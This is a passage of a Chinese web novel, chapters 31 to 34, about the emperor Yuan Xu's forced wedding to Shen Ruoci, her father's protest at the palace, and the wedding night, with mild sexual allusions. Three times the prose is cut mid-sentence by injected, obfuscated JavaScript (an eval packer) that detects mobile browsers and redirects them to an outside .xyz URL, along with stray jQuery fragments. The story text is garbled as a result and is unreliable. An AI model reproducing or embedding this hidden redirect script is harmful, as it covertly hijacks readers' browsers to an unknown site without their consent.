31. 第 31 章 元栩记起大婚流程,这会儿夫妻二人要手执红缎,一人牵着红缎的一端。他没有收手,亲自将人抱下来,稳稳当当地放回地面,才拿过红缎,将一端放入沈若辞掌中。 沈若辞垂下头,一眼望到自己的脚,婚鞋精致小巧,踩着大红色的地毯,上边铺洒着各色的花瓣。她将红缎握在手中,被宫人拥着走了几步才恍然想起,今日皇帝迎娶新后,这不该是她要拿的东西。 沈若辞视线从脚下移开,正想着要如何开口,便听见礼乐声中有女子娇柔的声音。 “臣妾参见皇上。” 好几个人的声音,不止一个。 元栩看着一旁齐刷刷跪了一地的女子,只回了一声“起来吧”,脚下的步子没有停过。 薛雪媚第一个追上来,“皇上,臣妾奉母后的旨意,前来迎接皇后娘娘,不知娘娘怎么称呼,可是袁……皇后?” 薛太后宫外的眼线传回消息,接亲的队伍确确实实出现在国公府附近,看来传言是真的。 皇帝并没有给她半个眼神,更没有回答她的问题。薛雪媚努努嘴,恨不得马上冲上前去,掀了那皇后头上的喜帕,看看到底是什么狐狸精! 连嬷嬷离皇帝只有一步之遥,见众妃子依然紧跟不舍,便出言道,“贵妃莫要道听途说,是沈皇后。” 薛雪媚一双眼睛瞪得又大又圆,眼珠子都快掉出来了,仍没想到沈皇后是哪家的贵女。 连亦心的目光没有离开过元栩,她无法接受表哥身穿婚服,迎娶别的女子。她的表哥貌若谪仙,又是九五之尊,这世上没有女子能配得上他。 可如今事实就在眼前,他那身红衣生生刺疼她的眼,更扰乱她的心,她心绪不宁,浑浑噩噩地跟着连亦兰。 直到听闻“沈皇后”三字,她脑中立刻迸出来那张脸,思绪也不再漫散,双手猛地握住连亦兰的手臂,几乎是脱口而出,“不可能!” 沈若辞也觉得不可能。 她第一反应是想笑,皇帝视她爹如死对头,连带憎恶她们沈家的人,他是摔坏脑子了才会娶她当皇后。 她无声地笑了笑,手中的红缎明晃晃的,能感觉到那一端沉稳的力道。 很快她便不这么想了。 所有细节拼凑在一起,沈若辞不得不承认,连嬷嬷口中的“沈皇后”正是她自己。 笑容凝固在唇边。 沈若辞心头一凛,脚下的步子也停了下来,这太荒唐了,她一刻也等不了,抬手就将眼前的喜帕扯了下来。 灯火映着她的脸,凤冠下,那张清莹白净,眉眼间又有几丝撩人的娇媚。 怎么会是沈相那阶下囚的女儿! 几个妃子吃惊得捂住了嘴巴,只差没当场叫出声来。 乱套了,乱套了!连嬷嬷的心脏几乎要从嗓子眼跳出来,她的头也开始隐隐作痛了。 元栩离她五步之遥,一回头就见到她身穿嫁衣的模样。 与梦里不同,这次她要嫁的人是他。 只是能不能别每次出嫁都让人不省心? 他脸上腾起几丝不耐烦,嘴角扯出一个弧度。 在场的几个妃子心中都大叫不妙。 上一次见皇帝露出这种表情,是薛雪媚言语露骨撩拨皇帝。后来她被禁足三个月,还是太后求情才放出来。 这回又会有什么好戏看呢? 她们齐刷刷地瞪大了眼睛,就见皇帝耐着性子走过去。 元栩挡在沈若辞跟前,随手夺过她手中的喜帕,“着急做什么,这不还没到洞房的环节。” 他慢条斯理地将她的喜帕又盖了回去,还不忘认真地摆正头顶的花纹。 虽然他跟沈若辞已将洞房最重要的事提前做了,但走走这些无趣的仪式,他也不反感。 就是没想到她这般急。 连嬷嬷见事态没有扩大,默念了一声“阿弥陀福”,赶忙上前扶住沈若辞,这次非要将人盯紧不可。 她轻声叮嘱道,“娘娘,切不可乱了规矩。” 沈若辞还没来得及说上一句话。方才喜帕落下的时候,她刚好对上一双慌乱的眼睛。这双眼睛她记得,是连亦心,仍像上次七夕宴见到的那般,一副惊慌失措的样子。 她甚至没来得及看清皇帝的脸,喜帕又重新回到头上,遮住了视线。但她确定,皇帝看清了她的脸,并且没有认错人。 皇帝要娶的人的的确确是她。 可那人丝毫没有要说明的意思,沈若辞见他马上要走开,一急之下伸出手扯住男人的下摆。 “皇上!” 声音急急的,又弱又可怜。崭新的婚服被她攥得死死的,元栩望着那只莹白的小手,垂下头来在她耳边轻语了一句,“沈相已归家。” 沈若辞手上的力气像被抽干,一点一点松开他的衣摆,最后无力地从他身侧滑落。 红缎那头传来沉稳的力道,她被牵着走。连嬷嬷死死地按着她的手臂,生怕她又做出什么不合礼仪的举措。 等到了雪辉宫,她走了一路,也想了一路,脑子清醒下来,就想明白一件事。于她而言,虽说都是棋子玩物,但到底是不一样的。 至少皇后不是袁妙莹。 袁妙莹在宫外的时候就苦心积虑害她,一旦进宫做了皇后,沈若辞还要仰她鼻息过日子。 她只是一颗不受待见的棋子,日后堂堂皇后对付起她来就有如瓮中捉鳖,不费一丝一毫的力气。 眼下,她自己做了皇后,袁妙莹还欺负不到她。 总归不是全无好处,沈若辞唇角勾了勾。忽地视线一明,喜帕从她眼前垂落下来。 城中灯火通明,大红色的灯笼沿着长安街挂了一路,犹如白昼。 朝廷安排了五十场大戏,对全城百姓免费开放,大街小巷都是来来往往的人群。巡城的士兵帽子上都插着统一的红花,一波接着一波,到处洋溢着喜悦的气息。 宋临已经拿着圣旨和衣服前去牢房里接沈相出狱,此时沈墨已换上干净的便服坐上回府的马车。 因为不想节外生枝,宋临已经吩咐车夫绕开人群密集的地方,可就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451455|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在快马车快要到达相府的时候,一阵鞭炮声噼里啪啦地响起来。沈墨提起车帘朝外边看了一眼,“今日城中可是有人办喜事?” “是,义父。”宋临心虚地答道。 眼见前边的路堵住了,沈墨吩咐车夫打开车门,他干脆下车走路回府好了。 “哪家办喜事?” 宋临被问得额头突突直跳,不久前他才瞒着义父,亲手送沈若辞出嫁,此时此刻他只能硬着头皮撒谎,“孩儿不清楚。”说完他试图拨开人群,当务之急是赶紧送沈相回府,避免夜长梦多。 哪知越是怕什么,越来什么,才没走几步,就遇上巡城的叶统领。 叶统领一见沈墨就笑容满面地迎上来,朝她作揖道贺,“沈相,大喜大喜啊。” 沈墨以为对方是在祝贺自己出狱的事,回道,“多谢。今天是什么日子,要劳烦叶统领亲自出马巡城?” 叶统领一头雾水,“今日是皇上大婚的日子啊,这不刚刚才祝贺过沈相。” 沈墨冷笑一声,也难怪这城中搞出如此大的阵仗,原来是那狼崽子大婚,看来他也是沾了这场婚事的光,才能赶在今日出狱。 想起这些年来皇帝磋磨人的手段,沈墨叹息道,“谁家的女儿,这么倒霉!” 叶统领的脸色有种难以言喻的精彩,他看看沈墨,又瞄瞄一旁的宋临,最后笑容都凝固在脸上,才艰难地开口,“您家的。” 沈墨沉下脸来,“叶统领,本官跟你没有仇吧?” 叶统领哪壶不开提哪壶,极没眼色地奉承道,“没有没有,咱俩能什么仇?好着呢,日后我们全家老少还要仰仗国丈的关照。” 沈墨当他在放屁,看向一旁的宋临,“沿沿真的在柳太妃那里?” 宋临不敢撒谎,沉默不语。 沈墨沉思了片刻,突然大笑起来,心中悲愤交加,口中连说了三个“好”字,这才吐出胸中一口浊气,提步就往相府的方向奔去。 宋临大气不敢出,只紧紧地跟着沈相,寸步不离,等到了相府,沈相才对他开口,“回房里跪着。” 宋临如蒙大赦,拜别沈相便赶往房中跪着。 雪辉宫里,沈若辞的红盖头被掀开的瞬间,笑容凝固在唇边,那人跟她一样,一身火红色的婚服,衬得眉眼愈发张扬恣意,此时正含着笑看她,神色有些不屑。 他随手将喜帕从床沿拂落在地,笑得轻描淡写,“区区一个后位,也值得你高兴成这个样子。” 屋中宫女嬷嬷站了两排,恭恭敬敬地等侯着,此时听到这句话,心下都咯噔一下。她们都知道沈相如今还是阶下囚,这皇后恐怕也不会太好做。 沈若辞望着地上的喜帕怔了一会儿,才咬着唇缓缓回道,“多谢皇上。” 真是谢谢他了。 元栩愉悦地从一位嬷嬷手中接过两个匏瓜形状的白玉盛器,用红绳连柄,小巧玲珑没有半分杂质。 长指白玉,略有几分赏心悦目。 “娘娘,合卺酒。” 连嬷嬷在一旁提醒。 32. 第 32 章 沈若辞自宽大的袖摆下伸出一只白嫩的小手来,犹豫了一下,还是接了过来。 自生病以来,她已经两年没沾过酒了。待拿稳了合卺酒,那人长臂一勾,等着她伸手过去。 两臂相交,沈若辞感受到他身上草药的气息,杯中的酒气淡淡的,没什么酒味,她仰头将酒饮尽,唇齿间有一股香甜的果香。 沈若辞看了一眼见空的杯底,舌尖碰了碰唇瓣,没想到合卺酒喝起来还不错。 流程走完,元栩掀起繁复的下摆,没骨头似的往软塌上一坐,好整以暇地看着喜床上的沈若辞。 他的眼光一如既往地好。 入眼是一片喜庆的红,这样艳俗的颜色,非但没有让人觉得俗气,反而衬得她容貌更加娇媚柔美,身段更加窈窕有致。 沈若辞被他看得浑身不自在,不知这人又在打什么坏主意。 她被看得心虚,忍不住去想,这人不用出去宴客的吗?莫不成因为娶她心情不佳,连筵席也没有准备? 移开视线落在裙摆上,“这嫁衣真好看。” 好看,量身定做的,肯定好看啊。 更何况,是出自他的手。 样式出来后,针工局二十四位手艺精湛的绣娘,连着赶了十天,才做出来的。 初秋的天气最是宜人,晚风从窗户吹进来拂在身上每一处都舒适极了。 那个梦里,也是她成亲的当夜,他在江边喝酒,吹着冷风,狼狈不堪,哪有此时自己做新郎官来得爽快。 果然,凡事要靠自己。灯光下看美人,越看越有滋味,红烛高燃,她的脸颊粉粉的,红唇娇艳欲滴,屋中的空气莫名旖旎起来。 元栩想起那夜在她的闺房,香汗沾湿她额前的发,因为剧烈起伏,双颊泛着一层惑人的粉。声音更是媚到极致,此时坐在这里,都能感觉到她的讨饶穿过记忆钻进耳里,在血液里四散开来,媚得他筋骨酥麻。 元栩喉结滚了滚,他就想把人捆在床榻之间,不分昼夜地作弄她。 岳常安很不合时宜地过去提醒道,“皇上,该去前殿宴客了。” 沈若辞双唇轻抿了一下,原来他还要面子,也知道要请宾客。 “皇上安心去前殿,这边有老奴伺候皇后娘娘。” 方才生出来的那点旖旎烟消雾散,元栩皱了皱眉头从软塌上抬起身子。双脚刚刚沾了地,殿外便是一阵嘈杂声。 岳常安走出去几步,就听见严从晖高声禀道,“启禀皇上,沈相手拿先帝御赐的宝剑,一路闯进宫来……看皇后娘娘。” 从殿外有动静开始,沈若辞就留心听着,此时听到了严从晖的话,她心头一惊,腾地一下从喜床上站起身。 她虽人在屋内,却能听见叫喊的声音越来越近,沈若辞急出一身冷汗,连背脊都僵硬起来。 她望向元栩,那人又坐了回去,半躺在软塌上,视线扫过她局促不安的身子,对上她的眼眸后轻轻一笑。 似乎在看她的好戏。 沈若辞咬了咬牙,对着元栩行了一礼,“皇上,父亲思念臣女,沿沿要出去见父亲一面,失礼了。” 来不及等元栩点头,沈若辞便提着裙摆奔出屋去。 月光下,沈相已换下囚衣,但也未着官服,整个人消瘦了一些,单手握着剑,来势汹汹。 “阿爹!” 沈若辞站在台阶上眼眶一酸,小跑着扑过去握住父亲的手,眼泪就止不住地往下掉,也不知是开心还是难过。 沈墨见到女儿完好无损,一颗心总算放了下来,火气也消散了一些。他抬头拭去沈若辞双颊的泪珠,关切地问道,“沿沿,那狼崽子欺负你了?” 沈若辞朝门口回望了一眼,才小心翼翼地对着父亲摇了摇头。 沈墨自是不信,沈若辞赶忙补充道,“阿爹放心,皇上没有欺负女儿,还封了女儿做皇后。” 她嘴角扯出一个欢喜的笑容。 夜里风大,沈墨看着她的笑直皱眉头,手上却不忘将沈若辞落在臂弯的袖摆拉上来,盖住莹白的手腕,“你用不着骗人,爹能不知道那狼崽子有什么坏心思!这段日子委屈你了,爹现在就带你回家,用不着害怕他。” 说着便要拉沈若辞离开。 沈若辞避开沈相的手,后退了一步。 沈相原本转身要走,没想到手上抓了个空,便又回过头去,就听女儿低声央求道,“阿爹,我不走,我想做皇后好不好?” 沈墨一口气堵在胸口,几乎是难以置信,他无法接受这话是从沈若辞口中说出来的。 袁子逸虽不是女婿的最佳人选,但两家门当户对,沈若辞若是想嫁过去,有他护着,也不会被欺负。 但皇宫是吃人的地方,自古君王又多薄情,他断不能眼睁睁看着女儿跳进火坑。 他望着女儿娇嫩的脸庞,耐心地询问道,“你告诉阿爹,那狼崽子有什么好?” 沈若辞喉头一窒,她飞快地脑中搜索了一遍,想找出这人几个像样的优点,糟糕的是,在脑中转了几次,她都找不到。 可她也不能随口胡诌,毕竟父亲是看着小皇帝长大的,对他的性子了如指掌,肯定骗不过。 沈若辞憋红了脸,就是想不出他的一个优点来,眼见沈相就要失去耐心,她几乎是急中生智地喊道,“他好看!” 对,他好看。 沈若辞暗地里松了一口气。 沈墨脸色瞬间沉了下来,整张脸黑得几乎能滴出水来。 “爹爹,沿沿想去找漂亮哥哥玩,你带沿沿去,好不好?” “爹爹,漂亮哥哥家的小马,还等着我去喂它呢,您什么时候带我去呀?” “爹爹,哥哥好看,还跟我玩。” 一段尘封的记忆涌入脑海,沈墨脸色一寸一寸地灰败下去。起初他坚信沈若辞是被皇帝要挟控制,可眼下他又开始动摇,难不成女儿真是自愿的? 这念头一闪而过,不管是自愿的还是被逼迫的,他都不会同意女儿留下来。 沈墨狠了狠心,毕竟年少,难免识人不清,她不能眼睁睁看女儿陷进去,“走,现在跟阿爹走还不迟。” 沈若辞恨不得马上跟父亲离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456843|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,但她知道皇帝的为人,岂会轻易放过她们父女二人。她只能狠下心拒绝,“阿爹,我不走。” 沈相好言相劝,“沿沿,听爹的话,现在走还来得及……” 元栩垂着眼帘,在屋中听了一会,最后还是忍不住从软榻上起身,慢悠悠地走向门口,修长的身子往门框上一靠,双手抱臂望着庭院中争执不休的父女二人,缓缓地吐出一句话。 “爹,晚了。” 庭院里安静下来。 沈墨几乎不敢相信自己的耳朵,他讷讷地抬头望向元栩。 那狼崽子一身喜庆的婚服,脸上的稚气不知道何时蜕变成少年的英气。他恍然发现那个小孩已长大成人,不再是当初事事要他操心的小皇帝。 沈墨定了定神,回想起他刚刚说的那话,语气又是十足的讨人嫌。 他冷笑一声,“沈家没有这个福分,今日就当沿沿进宫游玩一趟,皇上请另寻佳偶。” 话音未落,元栩顺着门前的台阶一步一步往下走,“沿沿腹中没准已有了皇家血脉,怎可说走就走。” 沈墨瞪大了眼珠子望着元栩,待反应过来,又见沈若辞心虚地垂下头,震惊、愧疚、愤怒各种情绪一时间交织在心头,冲刷着他的理智。他几乎不敢想象,他不在的这段日子里,他的闺女是怎么过来的。 原想保住她,却没想将她送入了龙潭虎穴。 沈墨当然是悔不当初。 他此时又是气愤,又是悔恨,一张脸铁青铁青的,沈若辞看得心惊。她抓着父亲的袖子,嘟起小嘴,像以往做错事一样试图央求他原谅。 沈墨见不得女儿可怜巴巴的样子,以往几乎马上就心软了。可这次,他却久久不肯松口。 夜色弥漫,夜风从庭院中拂过,丝丝凉意。 元栩打破了这片寂静,“夜深了,沿沿身子不好,不宜吹夜风。沈相请移步屋内。” 沈墨僵持了一会,还是缓步进屋。 新房里大小事物无一不精致华贵,床边燃着一双红烛,照得屋中亮澄澄的。 父亲性子刚直不阿,沈若辞生怕他说出什么话来触怒皇帝,她为父亲奉上热茶,因为担心,坐立难安。 所幸沈墨没有纠缠不休,但却始终绷着脸,连喝了两杯热茶,眉头依旧紧锁。 直到外边宫人通传沈太医到了,几人的目光齐齐落在他身上。 沈太医一只脚迈过门槛的时候,就已经感受到屋中奇怪的氛围。 皇帝洞房花烛夜召他前来问诊,多半不会是好事,他战战兢兢地进屋,一眼就望见沈相,倒没想到会在皇后宫中碰到老熟人。 沈太医皱了皱眉头。 他是来为皇后问诊的,见了沈相也不好叙旧,只用眼神跟他交流了一下,没想到往日聪明绝顶的人,这回竟对他的招呼熟视无睹,冷着脸假装没看到。 沈太医心头闪过一丝诧异,但碍于正事要紧,他无暇顾及,转而去看那穿着红嫁衣的美娇娘,竟是沈相卧病在床的千金。 屋中灯光明亮,他揉了揉眼睛,怀疑自己老眼昏花了。 33. 第 33 章 这回,他愣在原地,眉头皱得比沈相还要严重。这女娃子的病,他没法治! 元栩见他许久没有动静,冷笑一声,“怎么,医术一夜精进,单凭眼观就能看出病情不成?” 沈太医心慌成一团,躬着腰硬着头皮朝沈若辞走过去。 锦云见状扶着沈若辞在一旁的椅子坐了下来,沈太医伸出两个手指头为她号脉。 这不是他第一次为这女娃子看病。 以往沈相定期请他到沈府为沈若辞号脉。作为她的大夫,对她的病情了如指掌,却也无能为力。 时光一点点流逝,屋中静悄悄的,沈若辞看了看元栩,又望了望父亲,眼中茫然不解。 不出一会儿,沈太医收回手指,愁苦的脸上爬上几丝喜悦。 “恭喜皇上,沈……娘娘的病情至少好了三成。” 沈太医一个月前才为沈若辞诊过脉,那时候对她的病情仍是一筹莫展,却没想到这么短的时间内,竟恢复得如此神速。 沈墨比沈太医还要惊喜,可他将信将疑,生怕是沈太医误诊,让人白开心一场,他尽量用平静的语气确认道,“你说的可当真?” 沈墨听出自己的声音在颤抖。 沈太医回复他的质疑,“行医者岂可口出狂言。” 同样诧异的还有沈若辞,这阵子她一心扑在父亲的事上边,因而也忽视了自己的身体。她回想起最近的状态,确实比之前好上一些,不止胃口变好了,手脚也不再无力,整个人的精神头也越来越有活力。 沈若辞喜出望外,双眸因为欣喜染上光芒,笑盈盈地望向父亲,和他分享自己的喜悦。 沈墨没想到惊喜来得猝不及防,这两年来他寻遍盛京的名医,都未能让女儿的病情有所起色。 万没想到他入狱这段期间,沈若辞病情好转了。 沈墨湿了眼眶,险些掉下泪来。 这一幕落入元栩眼中,薄唇挑起一抹得意的笑,他挥了挥手示意沈太医下去。 沈太医行了一礼,却没有退下,他仍有一事相求,“微臣斗胆,可否看一下娘娘的新药方。” 他还想私下钻研一番,弥补一下自身的不足。 这话却把沈若辞问住了,她一直用的是沈太医的药方,近来不曾找过其他大夫。 沈若辞摇摇头,“并没有新药方。” 沈太医还想继续询问下去,但见皇帝脸色骤然一沉,他冒出一身冷汗,立马改口道,“臣先行告退。” 元栩望向沈墨,目光灼灼,“沈太医所言,沈相听清楚了吗?” 事关他最珍视的人,沈墨自然听得一清二楚,他不清楚的是这狼崽子在搞什么手段。 沈墨没好气道,“清楚又如何?微臣只想知道,我父女二人眼下能否出宫。” 呵,急什么。 “朕想跟沈相借一步说话。”元栩走到沈墨身边,又回头看了一眼沈若辞,神色温柔地叮嘱道,“沿沿身子不好,就不要出去了,朕跟爹出去就好。” 沈墨像顽石一般伫立在原地,神色复杂,良久才艰难地迈出步子,朝门口走去。 院中明亮的灯火照亮朦胧的夜色,树影斑驳,一红一黑两道身影行至一处僻静的地方。 白玉兰树枝缀着喜庆的红丝带,飘散着清幽的香气,树下元栩的衣袂随风轻轻摆动,浸染上芬芳。 沈墨依然绷着脸,站定后一言不发,就想听听他能扯出什么好话来。 “沈相难道不好奇沿沿病情为何好转?” 沈墨当然好奇,而今沈若辞只好了三成,若是药方对症,仍需继续治疗,他沉吟了一会,掀起下摆,直接跪在元栩跟前。 “求皇上赐教。” 元栩垂下眼眸,嘴角几不可见地上扬,面上不动声色地去将人扶起来,“都是一家人,沈相何必如此客气。” 沈墨坚持跪着,也跟他撇清关系,“皇上日后有何差遣,臣都会尽力而为,只求皇上继续为小女医治。” 元栩神色为难,“沈相误会了,皇后病情并非因药石而为。” 沈墨一下反应过来他这话是推托之词,明显是不想透露医治的方法。 他随即从地上站起来,拂去下摆的尘灰,“如此便不打扰皇上了。” 说着便转身欲走。 元栩哪里不知道他的脾气,气定神闲地将人叫住,“沈相留步。虽无药石可医,却有行之有效的方法。” 沈墨狐疑地回头,就见他停顿了一下,面带神秘地吐出两个字。 “冲喜。” 这种言论,在女儿久病不愈的时候,沈墨曾从他人口中听到过,那时候他不以为意,甚至认为是无稽之谈。 可刚刚沈太医的话,却让他将信将疑。 但不管如何,小皇帝的做法肯定是别有用心,沈墨淡淡地嘲讽道,“冲喜何必劳驾皇上亲力亲为。” 元栩摇头表示反对,随即正色道,“此事恰恰非朕不可。钦天监那帮老头说了,冲喜首先命格厚重之人。试问沈相,普天之下能有谁的命格比朕更好?” 帝王命,九五之尊,洪福齐天。 虽好,却无人敢臆想。 谁会想让皇帝来冲喜呢,除非想那人死得更快一些。 沈墨听他说得振振有词,一时分辨不出小皇帝话中有几分真假。 不过他大概也能猜到,此番他遭人陷害入狱,让狼崽子体会了一把失去左膀右臂的焦虑,最后终于想起来他的重要来,赶着来巴结他了。 要讨好他的法子有千万种,可他千不该万不该从他的宝贝闺女入手! 一口怨气又猛地蹿上头来,沈墨死死地瞪着他。 元栩见他黑着一张脸,好心劝慰道,“沿沿身子变好了,沈相该开心才是。” 他开心得很! 要不是看在女儿好转的份上,就他这些天的所作所为,就足够被扔在地上毒打一顿。 打死都不足惜。 元栩却无视他的不满,“朕可以跟您保证,沿沿留在朕身边,只会越来越好。” 话已至此,沈墨就算再被怒气冲昏头脑,也能想明白他话中的意思。不论冲喜一事是真是假,他都有能力为沿沿医治。 只是,不能把人还给他就是了。 沈墨吐出一口浊气,“臣进去看看女儿。”扔下话后,便头也不回地走到屋里。 元栩并没有跟进屋去,他知道沈若辞父女二人分离了一段时间,私下肯定有话要说,所幸去前殿露个面,招待一下宾客。 自二人独自出去后,沈若辞探着头观望了许久,一直留意他们的动静,终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462978|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于等来父亲。 沈墨进屋后,仍牵挂着她的身体,拉着沈若辞仔仔细细又问了一遍。 等沈若辞将近来好转的迹象一一说给他听后,沈墨才放下心来,不再追问。 元栩在前殿连喝了三杯酒后,便找了个借口离席。 今夜的风意外的宜人,他慢悠悠地踱步到皇后宫中,出现在父女二人的视线之内。 春宵一刻值千金,可惜沈墨没有眼色,并没有要离开的意思。元栩嫌他碍眼,心情也变得不耐起来。 但转念一想,沈相至今没成过婚,没当过新郎官,自然不懂新郎迫切的心思。 于是,他委婉道,“沈相,夜深了。” 沈墨一动不动,好似没听见一般。 元栩又催道,“沿沿身子不好,不能熬夜,爹赶紧回吧。” 他说得理直气壮。 沈墨简直被他的厚颜无耻震惊到了。 正待发作,却发现沈若辞轻轻地拉着他的袖摆,央求道,“阿爹您先回家吧。” 父亲才刚出狱,就火急火燎地赶来宫中。肯定没来得及休息一下,沈若辞希望他能回府好好休养。 元栩见缝插针道,“皇后说的是,年纪大的人,也不宜熬夜,爹赶紧回家吧。” 沈若辞倒吸一口凉气,下意识地抓住父亲的手,“阿爹、沿沿累了。” 沈墨立即担忧起来,手脚都有些局促不安起来,“好、好,阿爹这就走,沿沿好好休息。”说着敷衍地向元栩拱手告退。 元栩像没看到那般温和一笑,“天黑路难走,朕让严从晖送送沈相。” 沈墨掀起眼皮不满地瞪了元栩一眼,他还没老到那个地步,要人送! 清瘦的身影消失在夜色里,沈若辞悬着的心总算放了下来,她又盯着沈墨离开的地方看了一会,才不舍地收回目光。 她慢慢地转身回屋,失落袭上心头。 元栩就站在不远处看着她,也不知道看了有多久,沈若辞只看了一眼,便垂下头去。她心头慌乱,硬着头皮又往前走了几步,走到他跟前。 金丝线勾出芍药的妩媚,宽腰带束着纤细的腰身,精致的裙摆随着步伐晃动漾开层层的水纹,很是赏心悦目。 元栩的注意力都在她的裙子上,见水纹戛然而止,目光便落到她脸上,“好看吗?” 沈若辞反应过来他说的是裙子,点点头,“好看的。” 元栩几不可见地勾了勾唇角。 也不枉费他熬了三个夜晚画图,他愉悦地扬起头,目光碰及她身后一对手臂粗的红烛,她纯稚的眉眼被烛光映得尤其生动。 元栩莫名觉得口干。 接下来,洞房花烛,鱼水合欢。 风吹烛火,火苗欢快地跃动。灯影幢幢中,他的梦境里,沈若辞如今日一般,穿着嫁衣,嫁给了袁子逸。而此时,她凤冠霞帔,国色天香,是他钦点的妻子,是大魏的皇后。 梦便是梦,即便梦里的人再痴心妄想,那也成不了真的。 他想了一下,那纯得媚人的小脸,雪色绵软的身子,完全绽放在艳红被褥中的模样。 元栩几乎不敢往下想,生怕再想一下,脑中的弦就要崩掉。 他伸出发热的掌心,要去拉她,话说出口来都有些烦躁,“安置吧……” 34. 第 34 章 沈若辞察觉出他话中的不耐烦,也立即意会过来他前后的反差。眼下父亲走了,他就懒得装出关切的样子。 好在沈若辞不甚介意,甚至还有些许开心,只要皇帝能兑现承诺,阿爹能平安回家,她还是感谢他的。 她也不是什么想恃宠而骄的人,不会让皇帝难做。 眼见他微微抿紧唇,或许是快要爆发了,脸上因为不耐泛起一层怒红,她识趣地避开皇帝的手,下意识地往后退了一步。 思量再三,她小心翼翼地开口,“父亲一事,臣女感恩皇上,日后定会安分守己。您放心,什么话不该说,什么事不该做,我都有分寸。” 言下之意,她不会拿皇后的身份说事,她会做好当一颗棋子的本分。 至少,目前她会做到。 元栩喉头一窒,修长好看的手停在二人之间,要说的话僵在嘴角。刚起的兴致被浇灭了大半,他悄无声息地收回手,就听沈若辞继续温和地说道,“夜深了,皇上日理万机,今夜臣女不敢耽误您休息。” 沈若辞识趣地找了个借口给他离开。 这个时辰,皇帝也不该留在这里,该去前殿宴客才对。 宴客后也不必回她这里了,毕竟演了一天的戏,他也该累了。 元栩周身都僵硬起来,二人之间仿佛横了一道奔腾的河流,他脚下的步子怎么也迈不开。明明一副小心讨好的模样,偏生说出来的话,句句不合他的意。 久违的失落一丝一丝地爬上心头,没想到走到今天,成了他的夫,还是被她无情地推开。 他脸色骤沉,方才所有的旖旎烟消云散。冰冷的情绪笼罩着他,他凝着她的脸,杏眸里蒙着一层水雾,叫那张明艳的脸儿看起来无辜又动人。 他走就是了。谁稀罕呢。 元栩说走就走。 岳常安原本在院中欣赏夜景,四处红彤彤的,看起来就喜庆。 这些年来,宫里好久没办过喜事了。皇帝是他看着长大的,作为宫里的老人,他也开心。 只是这开心没能延续多久,他们家的小皇帝就冷着脸地从屋里出来,下台阶的时候还踢坏了一盆开得正艳的牡丹。 白瓷花盆顺着阶梯滚落,落地声音清脆,碎了一地。院中等候传召的宫人站了两排,被这破碎的声音吓了一跳,大气也不敢出,个个面面相觑。 岳常安看着元栩的渐行渐远的身影,又往屋里瞧了瞧,忽然脑子一灵光,忙喊道,“皇上,老奴有要事相禀。” 他匆忙地跟上前去,“皇上,今日帝后大婚,理应同衾共枕,来年方能……风调雨顺,国泰民安。” 元栩本来没打算停下脚步的,直到听到“同衾共枕”四字,他忽地停在原地,慢慢皱起眉头,迟疑了一下,又原路折回。 路过岳常安面前的时候,还训斥了一声,“事关重大,为何不早说!” 岳常安看了一眼站成两排的下属,“……” 他不要脸面的吗? 元栩从善如流地返回屋里,沈若辞正坐在妆镜台前,锦云帮她拆下凤冠,准备梳顺一头乌黑的长发。 方才岳常安说的话——她听得一清二楚。 起初她没有放在心上,直到那渐渐的远去的脚步声又重新响起,她才觉得好笑,那样肆意妄为的人,竟然也信这种说法。 皇帝去而复返,原本正发愁的连嬷嬷顿时喜笑颜开,她忙迎上前去,“今日皇上大婚,有什么事情尽管吩咐老奴。” 元栩淡淡地“嗯”了一声,眼角像不经意一般往沈若辞那边瞥了一下,见她仍坐着由锦云卸下头饰,并没有反感的情绪,不由得心安理得起来,“嬷嬷,朕要沐浴。” 他说的什么话?沈若辞几乎不敢相信自己的耳朵。就算今晚要留宿,也不用这么快沐浴入寝吧,难不成他不用出去宴客? 敢情那些宾客是请着玩的? 突然听皇帝这么说,连嬷嬷也是怔愣了一下。虽说她害怕帝后刚成婚就产生嫌隙,一心盼着皇帝今夜能留下来,夫妻间和和睦睦。 但按仪式走,皇帝这会儿应该出去宴客才对。 她犹豫起来,不知是否该提醒他现在还不到沐浴的时辰。 元栩没有半点自己该做什么的自觉,他好不容易找到借口留下来了,难不成又要他去招待那群聒噪的臣子? 不可能。 “传令下去,今夜筵席不设时间,众爱卿尽可开怀畅饮。” 岳常安有些迟疑。 元栩并没有改变主意的意思,他一边往浴房走过去,一边说道,“朕不胜酒力,该休息了。” 岳常安应下,心道皇帝方才抽空去了前殿一趟,也算是在筵席上露过面了,此时不去也没什么大不了。 最主要的,还是这小祖宗开心要紧。 凤冠珠钗拆卸下来,沈若辞已梳顺一头浓密的秀发,此时外袍也已经褪下来,她穿着中衣静静地等待沐浴。 